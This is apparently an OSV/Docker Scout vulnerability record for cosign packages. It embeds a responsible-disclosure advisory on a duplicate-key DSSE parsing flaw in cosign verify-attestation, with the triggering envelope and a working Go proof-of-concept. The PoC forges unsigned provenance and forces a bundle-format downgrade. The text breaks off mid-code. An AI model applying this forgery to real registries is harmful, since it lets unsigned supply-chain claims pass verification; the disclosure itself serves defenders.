Images:Alpine:3.23","package":"cosign-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.2-r0"}]}],"versions":["2.6.2-r0","2.6.2-r1","2.6.2-r2","2.6.2-r3","2.6.3-r0","2.6.3-r1","2.6.3-r10","2.6.3-r2","2.6.3-r3","2.6.3-r4","2.6.3-r5","2.6.3-r6","2.6.3-r7","2.6.3-r8","2.6.3-r9","2.6.4-r0","2.6.4-r1","2.6.5-r0","2.6.5-r1","2.6.5-r10","2.6.5-r11","2.6.5-r12","2.6.5-r13","2.6.5-r14","2.6.5-r2","2.6.5-r3","2.6.5-r4","2.6.5-r5","2.6.5-r6","2.6.5-r7","2.6.5-r8","2.6.5-r9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-3-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-r0"}]}],"versions":["3.0.4-r0","3.0.5-r0","3.0.5-r1","3.0.5-r2","3.0.5-r3","3.0.6-r0","3.0.6-r1","3.0.6-r2","3.0.6-r3","3.0.6-r4","3.0.6-r5","3.0.6-r6","3.1.1-r0","3.1.1-r1","3.1.1-r2","3.1.2-r0","3.1.2-r1","3.1.3-r0","3.1.3-r1","3.1.3-r10","3.1.3-r11","3.1.3-r12","3.1.3-r13","3.1.3-r2","3.1.3-r3","3.1.3-r4","3.1.3-r5","3.1.3-r6","3.1.3-r7","3.1.3-r8","3.1.3-r9","3.1.4-r0","3.1.4-r1","3.1.4-r2","3.1.4-r3","3.1.4-r4","3.1.4-r5","3.1.5-r0","3.1.6-r0"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-3-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-r0"}]}],"versions":["3.0.4-r0","3.0.5-r0","3.0.5-r1","3.0.5-r2","3.0.5-r3","3.0.6-r0","3.0.6-r1","3.0.6-r2","3.0.6-r3","3.0.6-r4","3.0.6-r5","3.0.6-r6","3.1.1-r0","3.1.1-r1","3.1.1-r2","3.1.2-r0","3.1.2-r1","3.1.3-r0","3.1.3-r1","3.1.3-r10","3.1.3-r11","3.1.3-r12","3.1.3-r13","3.1.3-r2","3.1.3-r3","3.1.3-r4","3.1.3-r5","3.1.3-r6","3.1.3-r7","3.1.3-r8","3.1.3-r9","3.1.4-r0","3.1.4-r1","3.1.4-r2","3.1.4-r3","3.1.4-r4","3.1.4-r5","3.1.5-r0","3.1.6-r0"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-3-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-r0"}]}],"versions":["3.0.4-r0","3.0.5-r0","3.0.5-r1","3.0.5-r2","3.0.5-r3","3.0.6-r0","3.0.6-r1","3.0.6-r2","3.0.6-r3","3.0.6-r4","3.0.6-r5","3.0.6-r6","3.1.1-r0","3.1.1-r1","3.1.1-r2","3.1.2-r0","3.1.2-r1","3.1.3-r0","3.1.3-r1","3.1.3-r10","3.1.3-r11","3.1.3-r12","3.1.3-r13","3.1.3-r2","3.1.3-r3","3.1.3-r4","3.1.3-r5","3.1.3-r6","3.1.3-r7","3.1.3-r8","3.1.3-r9","3.1.4-r0","3.1.4-r1","3.1.4-r2","3.1.4-r3","3.1.4-r4","3.1.4-r5","3.1.5-r0","3.1.6-r0"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"cosign-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-r0"}]}],"versions":["3.0.4-r0","3.0.5-r0","3.0.5-r1","3.0.5-r2","3.0.5-r3","3.0.6-r0","3.0.6-r1","3.0.6-r2","3.0.6-r3","3.0.6-r4","3.0.6-r5","3.0.6-r6","3.1.1-r0","3.1.1-r1","3.1.1-r2","3.1.2-r0","3.1.2-r1","3.1.3-r0","3.1.3-r1","3.1.3-r10","3.1.3-r11","3.1.3-r12","3.1.3-r13","3.1.3-r2","3.1.3-r3","3.1.3-r4","3.1.3-r5","3.1.3-r6","3.1.3-r7","3.1.3-r8","3.1.3-r9","3.1.4-r0","3.1.4-r1","3.1.4-r2","3.1.4-r3","3.1.4-r4","3.1.4-r5","3.1.5-r0","3.1.6-r0"]}],"references":[{"url":"https://scout.docker.com/v/DHI-rvvj-qoeg-l5vm-mpor","tags":["advisory"]},{"url":"https://github.com/sigstore/cosign/security/advisories/GHSA-m887-h3mp-ww97","tags":["advisory"]}],"sources":{"osv":[{"id":"DHI-rvvj-qoeg-l5vm-mpor","upstream":["GHSA-m887-h3mp-ww97"],"title":"### Summary","description":"### Summary\r\n\r\nFor attestations stored in the legacy format (`sha256-\u003cdigest\u003e.att` tag), cosign reads the DSSE envelope with two different JSON decoders. The signature and subject checks decode it into the `dsse.Envelope` struct. The predicate type check, the CUE/Rego policy evaluation and the printed output decode the same bytes into a map and read the key `\"payload\"`. `encoding/json` matches struct fields case-insensitively and the last matching key wins, so an envelope that contains `\"payload\"` and then `\"Payload\"` has two readings: the verifier checks the signature on the second value, and `--type` and `--policy` run on the first.\r\n\r\nAn attacker who can change the repository content in the registry, and who does not have the signing key, can make `cosign verify-attestation --key ... --type ... --policy ...` succeed with attestation content of their choice, for any image that has at least one DSSE envelope signed by that key.\r\n\r\n### Affected versions\r\n\r\nTested and affected: v3.1.4 and v2.6.5 (official `cosign-linux-amd64` release binaries). The two decoders are also on `main` as of 2026-11-14 (read, not run). Earlier releases were not tested.\r\n\r\n### Details\r\n\r\n- Signature check: `pkg/cosign/verify.go`, `verifyOCIAttestation` (lines 306-329 in v3.1.4). `json.Unmarshal` into `dsse.Envelope`, then DSSE verification over that struct's payload.\r\n- Subject check: `pkg/cosign/verifiers.go`, `IntotoSubjectClaimVerifier` (lines 59-91). Same struct decoding.\r\n- Type and policy: `pkg/policy/attestation.go`, `AttestationToPayloadJSON` (lines 67-101). `json.Unmarshal` into `map[string]interface{}`, then `payloadData[\"payload\"]`. Called from `cmd/cosign/cli/verify/verify_attestation.go:233` and `verify_blob_attestation.go:265`, `:400`.\r\n- Output: `PrintVerification` (`cmd/cosign/cli/verify/common.go:262-273`) prints the raw layer bytes, so `jq -r .payload | base64 -d` on the output also yields the unsigned statement.\r\n\r\nEnvelope that triggers it:\r\n\r\n```json\r\n{\"payloadType\":\"application/vnd.in-toto+json\",\r\n \"payload\":\"\u003cbase64 of a forged in-toto statement\u003e\",\r\n \"Payload\":\"\u003cbase64 of a statement signed by the key\u003e\",\r\n \"signatures\":[{\"keyid\":\"\",\"sig\":\"\u003cthe original signature\u003e\"}]}\r\n```\r\n\r\nTwo more properties widen the reach:\r\n\r\n1. **Fallback from the new bundle format.** `verify-attestation` looks for new-format bundles first and, when it finds none, sets `co.NewBundleFormat = false` and reads the legacy tag (`cmd/cosign/cli/verify/verify_attestation.go:140-146`). Whoever controls the registry content decides which path is taken. The signed statement and its signature can be copied out of any new-format bundle. That includes the bundle written by a plain `cosign sign` in v3, because it is a DSSE-signed in-toto statement (predicate type `https://sigstore.dev/cosign/sign/v1`). So an image that was only ever signed, never attested, is enough.\r\n2. **Transparency log.** On the legacy path the log entry is tied to the SHA-256 of the raw layer bytes and to the public key (`VerifyBundle`, `pkg/cosign/verify.go:1286-1331`; `compareSigs` returns early for attestations). The rewritten envelope needs a new entry. Rekor's `dsse` v0.0.1 entry type decodes the proposed envelope into the same struct, verifies the genuine signature with the public key and records the hash of the raw string (`sigstore/rekor` v1.5.4, `pkg/types/dsse/v0.0.1/entry.go`, `Unmarshal`). So the entry can be created by anyone who has the public key. I checked this with the Rekor library code and a lab log key trusted through `SIGSTORE_REKOR_PUBLIC_KEY`. **I did not submit anything to the public Rekor instance.**\r\n\r\nThe new bundle verification path itself is not affected.\r\n\r\n### PoC\r\n\r\nThe proof of concept is one Go test file that drives the release binary on loopback only. Its source, the `go.mod` and the commands to run it are in the last section of this report.\r\n\r\nThe consumer's gate in every variant:\r\n\r\n```\r\ncosign verify-attestation --key org.pub --type slsaprovenance --policy policy.rego IMAGE@DIGEST\r\n```\r\n\r\n`policy.rego` requires `predicate.builder.id` to be the organisation's builder. The organisation never signs a provenance attestation.\r\n\r\n| Test | Signed by the key | Attacker action (registry write only) |\r\n|------|-------------------|----------------------------------------|\r\n| `TestVerifyAttestationAcceptsUnsignedPredicate` | SPDX attestation, legacy format | replaces the `.att` tag with the two-payload envelope |\r\n| `TestVerifyAttestationDowngradeFromNewBundle/from_an_SBOM_attestation` | SPDX attestation, new bundle format | copies payload and signature from the bundle, empties the referrers fallback tag, writes the `.att` tag |\r\n| `TestVerifyAttestationDowngradeFromNewBundle/from_a_plain_image_signature` | `cosign sign` only | same |\r\n\r\nEach test first shows the gate rejecting the untouched registry (`none of the attestations matched the predicate type`). After the change the gate exits 0, prints the forged statement, and the policy has accepted a `builder.id` from a statement that carries no signature. Each test runs the gate with `--insecure-ignore-tlog=true` and again with default flags against the lab log.\r\n\r\nResults: all three variants pass on v3.1.4 (release binary, sha256 `424e2c97d0b45fd7a6b608a87f090f35633f4c23ece5f092d48bba11aaf4bbfa`). The first variant also passes on v2.6.5 (release binary, sha256 `c3b4f5410e608af03a5eb0aaac84a4313d8da131248e08ff1759ac70c79d1644`). On v2.6.5 the two downgrade tests stop in their setup: with the flags the test uses, the v2 signer writes the legacy format, so there is no new-format bundle to start from. I did not adapt them to v2.\r\n\r\n### Impact\r\n\r\nForged attestation content (SLSA provenance, SBOM, vulnerability scan result, any custom predicate) is accepted as signed by a trusted key. Deployments that gate on `verify-attestation --type` or `--policy`, or that parse the command's output, can be made to admit an image on the strength of claims nobody signed. The image must have something signed by the key, so this is not a bypass of `cosign verify` for an unsigned image.\r\n\r\nWho can do it: anyone who can write to the repository in the registry (a push-scoped account is enough on a registry without the referrers API), a compromised registry, mirror or pull-through cache, or someone on the network path of a registry reached without TLS.\r\n\r\n### What I did not test\r\n\r\n- Keyless verification. A fresh log entry would have to fall inside the certificate validity, so I expect at most a short window after signing.\r\n- The public Rekor instance (see above).\r\n- Registries that implement the referrers API. There the attacker has to remove the bundle manifest or control the registry's answers, not just push a tag.\r\n- `verify-blob-attestation`, which calls the same function.\r\n- Other consumers of `pkg/policy.AttestationToPayloadJSON`, apart from Kyverno (see \"Related report and disclosure\").\r\n\r\n### Suggested fix\r\n\r\n1. Decode once. Use the payload that was verified for the type and policy checks. Smallest change: decode into `dsse.Envelope` in `AttestationToPayloadJSON` instead of a map. Better: pass the verified statement bytes forward from verification so that nothing parses the envelope a second time.\r\n2. Reject envelopes with duplicate or case-variant keys before verification.\r\n3. Print the envelope re-marshalled from the struct, not the raw layer.\r\n4. The same map lookup is in `pkg/cosign/remote/remote.go:140`.\r\n\r\n### Related report and disclosure\r\n\r\nKyverno's image verification reads the envelope in the same way and is affected through its own code and through `AttestationToPayloadJSON`. I am reporting that to the Kyverno project privately at the same time. Nothing has been published. I can test a patch.\r\n\r\n### AI assistance disclosure\r\n\r\nIn line with the Sigstore AI policy: I used an AI assistant for the code review that led to this, for writing the PoC test and for drafting this report. I have run the PoC myself and can explain each step.\r\n\r\n### Running the proof of concept\r\n\r\nNeeds Go 1.25 or newer and the cosign release binary. Everything stays on loopback: `HTTPS_PROXY` points at a dead port for every cosign run.\r\n\r\n1. Save `go.mod` and `verify_attestation_unsigned_predicate_test.go` from the two blocks below into an empty directory.\r\n2. Run:\r\n\r\n   ```sh\r\n   go mod tidy\r\n   COSIGN_BIN=/path/to/cosign-linux-amd64 go test -count=1 -v ./...\r\n   ```\r\n\r\nEach test logs the cosign commands it runs and their output, and prints `REPRODUCED` when the gate accepts the statement that carries no signature.\r\n\r\n\u003cdetails\u003e\r\n\u003csummary\u003e\u003ccode\u003ego.mod\u003c/code\u003e\u003c/summary\u003e\r\n\r\n```\r\nmodule cosign-poc\r\n\r\ngo 1.25.11\r\n\r\nrequire (\r\n\tgithub.com/google/go-containerregistry v0.22.1\r\n\tgithub.com/sigstore/rekor v1.5.4\r\n)\r\n\r\nrequire (\r\n\tgithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect\r\n\tgithub.com/cyberphone/json-canonicalization v0.0.0-20220623050100-57a0ce2678a7 // indirect\r\n\tgithub.com/docker/cli v29.7.2+incompatible // indirect\r\n\tgithub.com/docker/docker-credential-helpers v0.9.3 // indirect\r\n\tgithub.com/go-openapi/analysis v0.26.0 // indirect\r\n\tgithub.com/go-openapi/errors v0.22.8 // indirect\r\n\tgithub.com/go-openapi/jsonpointer v1.0.0 // indirect\r\n\tgithub.com/go-openapi/jsonreference v1.0.0 // indirect\r\n\tgithub.com/go-openapi/loads v0.25.1 // indirect\r\n\tgithub.com/go-openapi/runtime v0.32.5 // indirect\r\n\tgithub.com/go-openapi/spec v0.22.9 // indirect\r\n\tgithub.com/go-openapi/strfmt v0.27.0 // indirect\r\n\tgithub.com/go-openapi/swag/conv v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/fileutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/jsonutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/loading v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/mangling v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/pools v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/stringutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/typeutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/swag/yamlutils v0.28.0 // indirect\r\n\tgithub.com/go-openapi/validate v0.26.3 // indirect\r\n\tgithub.com/go-viper/mapstructure/v2 v2.5.0 // indirect\r\n\tgithub.com/google/uuid v1.6.0 // indirect\r\n\tgithub.com/in-toto/attestation v1.1.2 // indirect\r\n\tgithub.com/in-toto/in-toto-golang v0.11.0 // indirect\r\n\tgithub.com/klauspost/compress v1.19.2 // indirect\r\n\tgithub.com/oklog/ulid/v2 v2.1.1 // indirect\r\n\tgithub.com/opencontainers/go-digest v1.0.0 // indirect\r\n\tgithub.com/opencontainers/image-spec v1.1.1 // indirect\r\n\tgithub.com/secure-systems-lab/go-securesystemslib v0.11.0 // indirect\r\n\tgithub.com/shibumi/go-pathspec v1.3.0 // indirect\r\n\tgithub.com/sigstore/protobuf-specs v0.5.1 // indirect\r\n\tgithub.com/sigstore/sigstore v1.10.9 // indirect\r\n\tgithub.com/sirupsen/logrus v1.9.4 // indirect\r\n\tgithub.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect\r\n\tgo.yaml.in/yaml/v3 v3.0.5 // indirect\r\n\tgolang.org/x/crypto v0.55.0 // indirect\r\n\tgolang.org/x/net v0.57.0 // indirect\r\n\tgolang.org/x/sync v0.22.0 // indirect\r\n\tgolang.org/x/sys v0.47.0 // indirect\r\n\tgolang.org/x/term v0.45.0 // indirect\r\n\tgolang.org/x/text v0.41.0 // indirect\r\n\tgoogle.golang.org/genproto/googleapis/api v0.0.0-20260727163830-6c54dddc4772 // indirect\r\n\tgoogle.golang.org/protobuf v1.36.12 // indirect\r\n\tgotest.tools/v3 v3.5.2 // indirect\r\n)\r\n```\r\n\r\n\u003c/details\u003e\r\n\r\n\u003cdetails\u003e\r\n\u003csummary\u003e\u003ccode\u003everify_attestation_unsigned_predicate_test.go\u003c/code\u003e\u003c/summary\u003e\r\n\r\n```go\r\n// Attestation content that was never signed passes\r\n// `cosign verify-attestation` because the DSSE envelope is parsed twice, with\r\n// two different JSON rules. The attacker needs write access to the repository\r\n// (or a position between the consumer and the registry), not the signing key.\r\npackage poc\r\n\r\nimport (\r\n\t\"context\"\r\n\t\"crypto/ecdsa\"\r\n\t\"crypto/elliptic\"\r\n\t\"crypto/rand\"\r\n\t\"crypto/sha256\"\r\n\t\"crypto/x509\"\r\n\t\"encoding/base64\"\r\n\t\"encoding/hex\"\r\n\t\"encoding/json\"\r\n\t\"encoding/pem\"\r\n\t\"fmt\"\r\n\t\"io\"\r\n\t\"log\"\r\n\t\"net/http/httptest\"\r\n\t\"os\"\r\n\t\"os/exec\"\r\n\t\"path/filepath\"\r\n\t\"strings\"\r\n\t\"testing\"\r\n\t\"time\"\r\n\r\n\t\"github.com/google/go-containerregistry/pkg/name\"\r\n\t\"github.com/google/go-containerregistry/pkg/registry\"\r\n\tv1 \"github.com/google/go-containerregistry/pkg/v1\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/empty\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/mutate\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/random\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/remote\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/static\"\r\n\t\"github.com/google/go-containerregistry/pkg/v1/types\"\r\n\trekortypes \"github.com/sigstore/rekor/pkg/types\"\r\n\t_ \"github.com/sigstore/rekor/pkg/types/dsse/v0.0.1\"\r\n)\r\n\r\nconst (\r\n\ttrustedBuilder   = \"https://ci.example/trusted-builder\"\r\n\tdsseLayerType    = \"application/vnd.dsse.envelope.v1+json\"\r\n\tintotoPayload    = \"application/vnd.in-toto+json\"\r\n\tofflineSignFlags = \"--use-signing-config=false\" // plus --tlog-upload=false: the signer side stays offline\r\n)\r\n\r\n// attLab is one organisation (registry, image, cosign key pair), one consumer\r\n// gate (a Rego policy on SLSA provenance) and a lab transparency log.\r\ntype attLab struct {\r\n\tt                          *testing.T\r\n\tregHost, dir               string\r\n\tdigest                     v1.Hash\r\n\timage                      string // repo@digest\r\n\tkey, pub, policy, rekorPub string\r\n\trekorKey                   *ecdsa.PrivateKey\r\n}\r\n\r\nfunc newAttLab(t *testing.T) *attLab {\r\n\treg := httptest.NewServer(registry.New(registry.Logger(log.New(io.Discard, \"\", 0))))\r\n\tt.Cleanup(reg.Close)\r\n\tl := \u0026attLab{t: t, regHost: strings.TrimPrefix(reg.URL, \"http://\"), dir: t.TempDir()}\r\n\r\n\timg, _ := random.Image(64, 1)\r\n\tl.digest, _ = img.Digest()\r\n\tl.image = l.regHost + \"/team/app@\" + l.digest.String()\r\n\tif err := remote.Write(l.ref(l.image), img); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\trunCosign(t, []string{\"COSIGN_PASSWORD=\"}, \"generate-key-pair\", \"--output-key-prefix\", filepath.Join(l.dir, \"org\"))\r\n\tl.key, l.pub = filepath.Join(l.dir, \"org.key\"), filepath.Join(l.dir, \"org.pub\")\r\n\r\n\t// The consumer's gate: a SLSA provenance attestation signed by the organisation must name the trusted builder.\r\n\tl.policy = l.write(\"policy.rego\", \"package signature\\nimport rego.v1\\ndefault allow := false\\nallow if input.predicate.builder.id == \\\"\"+trustedBuilder+\"\\\"\\n\")\r\n\r\n\t// Lab transparency log key, trusted by the consumer through SIGSTORE_REKOR_PUBLIC_KEY like a private Rekor.\r\n\tvar err error\r\n\tif l.rekorKey, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tder, _ := x509.MarshalPKIXPublicKey(\u0026l.rekorKey.PublicKey)\r\n\tl.rekorPub = l.write(\"lab-rekor.pub\", string(pem.EncodeToMemory(\u0026pem.Block{Type: \"PUBLIC KEY\", Bytes: der})))\r\n\treturn l\r\n}\r\n\r\nfunc (l *attLab) write(name, content string) string {\r\n\tp := filepath.Join(l.dir, name)\r\n\tif err := os.WriteFile(p, []byte(content), 0o600); err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn p\r\n}\r\n\r\nfunc (l *attLab) ref(s string) name.Reference {\r\n\tr, err := name.ParseReference(s)\r\n\tif err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn r\r\n}\r\n\r\n// signSBOM is the only signing the organisation ever does for this image: an SBOM attestation.\r\nfunc (l *attLab) signSBOM(extraFlags ...string) {\r\n\tsbom := l.write(\"sbom.json\", `{\"SPDXID\":\"SPDXRef-DOCUMENT\",\"spdxVersion\":\"SPDX-2.3\",\"name\":\"app\"}`)\r\n\targs := append([]string{\"attest\", \"--key\", l.key, \"--type\", \"spdxjson\", \"--predicate\", sbom, \"--yes\",\r\n\t\tofflineSignFlags, \"--tlog-upload=false\"}, extraFlags...)\r\n\tif out, err := runCosignErr(l.t, []string{\"COSIGN_PASSWORD=\"}, append(args, l.image)...); err != nil {\r\n\t\tl.t.Fatalf(\"setup: cosign attest failed: %v\\n%s\", err, out)\r\n\t}\r\n}\r\n\r\n// gate runs the consumer's check, with transparency log verification on (cosign's default) or off.\r\nfunc (l *attLab) gate(tlog bool) (string, error) {\r\n\targs := []string{\"verify-attestation\", \"--key\", l.pub, \"--type\", \"slsaprovenance\", \"--policy\", l.policy}\r\n\tif !tlog {\r\n\t\treturn runCosignErr(l.t, nil, append(args, \"--insecure-ignore-tlog=true\", l.image)...)\r\n\t}\r\n\treturn runCosignErr(l.t, []string{\"SIGSTORE_REKOR_PUBLIC_KEY=\" + l.rekorPub}, append(args, l.image)...)\r\n}\r\n\r\n// signImage is a plain `cosign sign` with cosign v3 defaults. The stored bundle holds a DSSE envelope too.\r\nfunc (l *attLab) signImage() {\r\n\tif out, err := runCosignErr(l.t, []string{\"COSIGN_PASSWORD=\"}, \"sign\", \"--key\", l.key, \"--yes\",\r\n\t\tofflineSignFlags, \"--tlog-upload=false\", l.image); err != nil {\r\n\t\tl.t.Fatalf(\"setup: cosign sign failed: %v\\n%s\", err, out)\r\n\t}\r\n}\r\n\r\n// mustFailBeforeAttack is the control: with the registry content as the signer left it there is no provenance attestation.\r\nfunc (l *attLab) mustFailBeforeAttack() {\r\n\tif out, err := l.gate(false); err == nil {\r\n\t\tl.t.Fatalf(\"control failed: unexpected result before the registry content was changed\\n%s\", out)\r\n\t}\r\n}\r\n\r\n// pushForged is the attack. signedPayload and sig come from any DSSE envelope\r\n// the organisation signed for this image. The attacker writes an envelope with\r\n// two payload keys: \"payload\" (forged, what a map lookup sees) and \"Payload\"\r\n// (signed; it comes later, so it is what Go's struct decoding keeps), logs it,\r\n// and stores it under the legacy attestation tag.\r\nfunc (l *attLab) pushForged(signedPayload, sig string) (forgedPayload string) {\r\n\tstatement, _ := json.Marshal(map[string]any{\r\n\t\t\"_type\":         \"https://in-toto.io/Statement/v0.1\",\r\n\t\t\"predicateType\": \"https://slsa.dev/provenance/v0.2\",\r\n\t\t\"subject\":       []any{map[string]any{\"name\": l.regHost + \"/team/app\", \"digest\": map[string]string{\"sha256\": l.digest.Hex}}},\r\n\t\t\"predicate\":     map[string]any{\"builder\": map[string]string{\"id\": trustedBuilder}, \"buildType\": \"forged-by-attacker\"},\r\n\t})\r\n\tforgedPayload = base64.StdEncoding.EncodeToString(statement)\r\n\tenvelope := fmt.Sprintf(`{\"payloadType\":%q,\"payload\":%q,\"Payload\":%q,\"signatures\":[{\"keyid\":\"\",\"sig\":%q}]}`,\r\n\t\tintotoPayload, forgedPayload, signedPayload, sig)\r\n\r\n\tpubPEM, _ := os.ReadFile(l.pub) // logging the envelope needs only the public key\r\n\timg, err := mutate.Append(mutate.MediaType(empty.Image, types.OCIManifestSchema1), mutate.Addendum{\r\n\t\tLayer: static.NewLayer([]byte(envelope), dsseLayerType),\r\n\t\tAnnotations: map[string]string{\r\n\t\t\t\"dev.cosignproject.cosign/signature\": \"\",\r\n\t\t\t\"dev.sigstore.cosign/bundle\":         labRekorBundle(l.t, l.rekorKey, []byte(envelope), pubPEM),\r\n\t\t},\r\n\t})\r\n\tif err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\tif err := remote.Write(l.ref(l.regHost+\"/team/app:sha256-\"+l.digest.Hex+\".att\"), img); err != nil {\r\n\t\tl.t.Fatal(err)\r\n\t}\r\n\treturn forgedPayload\r\n}\r\n\r\n// mustPassAfterAttack checks that the same gate now accepts content the organisation never signed.\r\nfunc (l *attLab) mustPassAfterAttack(forgedPayload string) {\r\n\tout, err := l.gate(false)\r\n\tif err != nil || !strings.Contains(out, forgedPayload) {\r\n\t\tl.t.Fatal(\"NOT REPRODUCED: verify-attestation rejected the rewritten envelope\")\r\n\t}\r\n\tl.t.Log(\"REPRODUCED (--insecure-ignore-tlog): verify-attestation exit 0; the policy ran on a provenance statement the key never signed\")\r\n\tout, err = l.gate(true)\r\n\tif err != nil || !strings.Contains(out, \"transparency log was verified offline\") {\r\n\t\tl.t.Fatal(\"NOT REPRODUCED with transparency log verification on\")\r\n\t}\r\n\tl.t.Log(\"REPRODUCED (default flags, lab transparency log): verify-attestation exit 0 with the log check passing\")\r\n}\r\n\r\n// The organisation stores attestations in the legacy format (every cosign v1/v2\r\n// signer, or v3 with --new-bundle-format=false). Push access is enough.\r\nfunc TestVerifyAttestationAcceptsUnsignedPredicate(t *testing.T) {\r\n\tl := newAttLab(t)\r\n\tl.signSBOM(\"--new-bundle-format=false\")\r\n\tl.mustFailBeforeAttack()\r\n\r\n\tatt, err := remote.Image(l.ref(l.regHost + \"/team/app:sha256-\" + l.digest.Hex + \".att\"))\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tlayers, err := att.Layers()\r\n\tif err != nil || len(layers) != 1 {\r\n\t\tt.Fatalf(\"unexpected attestation image: %v\", err)\r\n\t}\r\n\trc, _ := layers[0].Compressed()\r\n\tdefer rc.Close()\r\n\tvar env struct {\r\n\t\tPayload    string\r\n\t\tSignatures []struct{ Sig string }\r\n\t}\r\n\tif err := json.NewDecoder(rc).Decode(\u0026env); err != nil || len(env.Signatures) != 1 {\r\n\t\tt.Fatalf(\"unexpected envelope: %v\", err)\r\n\t}\r\n\r\n\tl.mustPassAfterAttack(l.pushForged(env.Payload, env.Signatures[0].Sig))\r\n}\r\n\r\n// The organisation uses only the new bundle format (cosign v3 default). The\r\n// attacker takes the signed envelope out of the bundle, hides the bundle, and\r\n// cosign falls back to the legacy path. Any envelope signed for the image\r\n// works: an attestation of another type, or the plain image signature.\r\nfunc TestVerifyAttestationDowngradeFromNewBundle(t *testing.T) {\r\n\tt.Run(\"from an SBOM attestation\", func(t *testing.T) {\r\n\t\tl := newAttLab(t)\r\n\t\tl.signSBOM()\r\n\t\tl.downgrade()\r\n\t})\r\n\tt.Run(\"from a plain image signature\", func(t *testing.T) {\r\n\t\tl := newAttLab(t)\r\n\t\tl.signImage()\r\n\t\tl.downgrade()\r\n\t})\r\n}\r\n\r\nfunc (l *attLab) downgrade() {\r\n\tt := l.t\r\n\tl.mustFailBeforeAttack()\r\n\r\n\t// This registry has no referrers API, so cosign keeps the referrers in an index under a fallback tag.\r\n\tfallback := l.ref(l.regHost + \"/team/app:sha256-\" + l.digest.Hex)\r\n\tidx, err := remote.Index(fallback)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"no referrers fallback tag: %v\", err)\r\n\t}\r\n\tim, _ := idx.IndexManifest()\r\n\tif len(im.Manifests) != 1 {\r\n\t\tt.Fatalf(\"expected one referrer, got %d\", len(im.Manifests))\r\n\t}\r\n\tbundleImg, err := idx.Image(im.Manifests[0].Digest)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tlayers, err := bundleImg.Layers()\r\n\tif err != nil || len(layers) != 1 {\r\n\t\tt.Fatalf(\"unexpected bundle artifact: %v\", err)\r\n\t}\r\n\trc, _ := layers[0].Compressed()\r\n\tdefer rc.Close()\r\n\tvar bundle struct {\r\n\t\tDsseEnvelope struct {\r\n\t\t\tPayload    string\r\n\t\t\tSignatures []struct{ Sig string }\r\n\t\t}\r\n\t}\r\n\tif err := json.NewDecoder(rc).Decode(\u0026bundle); err != nil || len(bundle.DsseEnvelope.Signatures) != 1 {\r\n\t\tt.Fatalf(\"unexpected bundle: %v\", err)\r\n\t}\r\n\r\n\t// Hide the bundle: with no new-format bundle in sight cosign switches to the legacy tag.\r\n\tif err := remote.WriteIndex(fallback, empty.Index); err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tl.mustPassAfterAttack(l.pushForged(bundle.DsseEnvelope.Payload, bundle.DsseEnvelope.Signatures[0].Sig))\r\n}\r\n\r\n// labRekorBundle plays the transparency log. It runs the envelope through the\r\n// Rekor v1 library exactly as the server does for a new dsse entry\r\n// (types.UnmarshalEntry validates and verifies the signature,\r\n// types.CanonicalizeEntry builds the stored body) and then issues the signed\r\n// entry timestamp with the lab key. No Rekor server is contacted.\r\nfunc labRekorBundle(t *testing.T, logKey *ecdsa.PrivateKey, envelope, signerPubPEM []byte) string {\r\n\tctx := context.Background()\r\n\tproposed, err := rekortypes.NewProposedEntry(ctx, \"dsse\", \"0.0.1\", rekortypes.ArtifactProperties{\r\n\t\tArtifactBytes: envelope, PublicKeyBytes: [][]byte{signerPubPEM},\r\n\t})\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"rekor rejected the envelope when building the entry: %v\", err)\r\n\t}\r\n\tentry, err := rekortypes.UnmarshalEntry(proposed)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"rekor validation rejected the envelope: %v\", err)\r\n\t}\r\n\tbody, err := rekortypes.CanonicalizeEntry(ctx, entry)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tt.Logf(\"rekor library accepted the rewritten envelope; entry body: %.180s...\", body)\r\n\r\n\tder, _ := x509.MarshalPKIXPublicKey(\u0026logKey.PublicKey)\r\n\tlogID := sha256.Sum256(der)\r\n\t// Canonical JSON of the bundle payload: keys in alphabetical order, no spaces.\r\n\tpayload := fmt.Sprintf(`{\"body\":%q,\"integratedTime\":%d,\"logID\":%q,\"logIndex\":0}`,\r\n\t\tbase64.StdEncoding.EncodeToString(body), time.Now().Unix(), hex.EncodeToString(logID[:]))\r\n\tsum := sha256.Sum256([]byte(payload))\r\n\tset, err := 